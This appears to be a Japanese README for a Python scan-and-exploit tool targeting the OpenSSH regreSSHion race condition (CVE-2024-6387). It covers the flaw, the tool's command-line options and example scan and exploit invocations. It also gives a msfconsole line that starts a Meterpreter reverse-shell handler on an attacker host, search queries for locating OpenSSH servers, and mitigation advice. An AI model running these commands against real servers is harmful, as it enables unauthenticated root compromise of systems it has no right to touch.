
OpenSSHサーバーにおけるリモートからの未認証コード実行の脆弱性 (CVE-2024-6387)
CVE-2024-6387.py - PoCこのエクスプロイトは32ビットのOpenSSHサーバーでのみ動作します。これは、PoCが32ビットポインターを使用するためです。 また、一部のバージョンは既にパッチが適用されており、すべてのサーバーが脆弱であるとは限らないことが知られています。 テスト済み: Kali Linux, ParrotSec, Ubuntu 22.04
OpenSSHサーバーにおけるリモート認証不要のコード実行脆弱性
CVE-2024-6387.pyは、最近発見されたregreSSHion脆弱性(CVE-2024-6387)を特に標的とし、脆弱なバージョンのOpenSSHを実行しているサーバーを特定するために設計された、軽量で効率的なツールです。このスクリプトは、複数のIPアドレス、ドメイン名、CIDRネットワーク範囲を迅速にスキャンして潜在的な脆弱性を検出し、インフラストラクチャの安全性を確保します。
OpenSSHのサーバー(sshd)においてシグナルハンドラの競合状態が見つかりました。クライアントがLoginGraceTime秒(デフォルト120秒、古いOpenSSHバージョンでは600秒)以内に認証を行わない場合、sshdのSIGALRMハンドラが非同期に呼び出されます。しかし、このシグナルハンドラはsyslog()など、非同期シグナルセーフではないさまざまな関数を呼び出します。
技術的な詳細はこちらをご覧ください。
この欠陥は、2024年5月にQualysの研究者によって発見され、識別子CVE-2024-6387が割り当てられました。sshdのシグナルハンドラ競合状態が原因で、認証されていないリモート攻撃者がrootとして任意のコードを実行できる可能性があります。
「クライアントがLoginGraceTime秒(デフォルト120秒)以内に認証を行わない場合、sshdのSIGALRMハンドラが非同期に呼び出され、非同期シグナルセーフではないさまざまな関数を呼び出します」と述べられています。
「リモートの認証されていない攻撃者は、この欠陥を利用してroot権限で任意のコードを実行できます。」
必要条件: python3 最新
### コマンドライン引数
mode: 操作モードを選択します。選択肢はscanまたはexploitです。
-T, --targets: IPアドレス、ドメイン名、IPアドレスを含むファイルパス、またはCIDRネットワーク範囲。
-f, --outputfile: 結果を保存するファイル(例: result.json)。
-g, --gracetimecheck: バージョン特定後、LoginGraceTimeの緩和をチェックするまでの待機時間(秒)(デフォルト: 120秒)。
-n, --nic: ネットワークNIC(デフォルト: 'eth0')。
-o, --output: 結果の出力形式(選択肢: 'csv', 'txt', 'json')。
-p, --port: チェックまたはエクスプロイトするポート番号(デフォルト: 22)。
-s, --speed: 競合状態の可能性を高めるスレッド数(デフォルト: 10)。
-t, --timeout: 接続タイムアウト(秒)(デフォルト: 1秒)。
-H, --resolve-hostnames: ホスト名を解決する
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
最初に以下のコマンドを実行し({yourip}ハンドラを変更)、その後上記のコマンドでエクスプロイトを実行するだけです。
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
ツールは読みやすさを向上させるために、コンソールに色分けされた出力を提供します:
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessパッチ管理: OpenSSHの利用可能なパッチを迅速に適用することは、脆弱性のギャップを埋めるために重要です。タイムリーなパッチ適用により、既知のエクスプロイトがシステムに対して利用されるのを防ぎ、攻撃者の機会の窓を減らします。
アクセス制御の強化: ネットワークベースの制御を通じてSSHアクセスを制限することは、追加の防御層を提供します。このアプローチは、SSH接続を許可されたネットワークまたはIPアドレスのみに制限することで、潜在的な攻撃者への露出を最小限に抑えます。ファイアウォールルールの実装や安全なアクセスのためのVPNの使用などのツールは、これらの制限を効果的に強制できます。
ネットワークセグメンテーション: ネットワークをセグメントに分割することは、潜在的な侵害の影響を封じ込めるのに役立ちます。重要なシステムと機密データをネットワークの重要でない部分から分離することで、攻撃者による横方向の移動のリスクを減らします。このセグメンテーションは、厳格なアクセス制御と監視を組み合わせて、これらのセグメントへの不正な試みを検出し対応することができます。
侵入検知システム(IDS): IDSまたは侵入防止システム(IPS)を展開することで、ネットワークトラフィックとシステムログのリアルタイム監視が可能になります。これらのシステムは、regreSSHion脆弱性に関連する不審な活動や潜在的なエクスプロイトの試みを検出できます。これらのシステムによってトリガーされたアラートは、重大な損害が発生する前に迅速な調査と緩和を可能にします。
エクスプロイト試行の監視: ネットワークとシステムログの継続的な監視が重要です。OpenSSH脆弱性を悪用しようとする試みを示す可能性のある異常なパターンや活動を探します。この積極的なアプローチは、脅威が害を及ぼす前に特定し対応するのに役立ちます。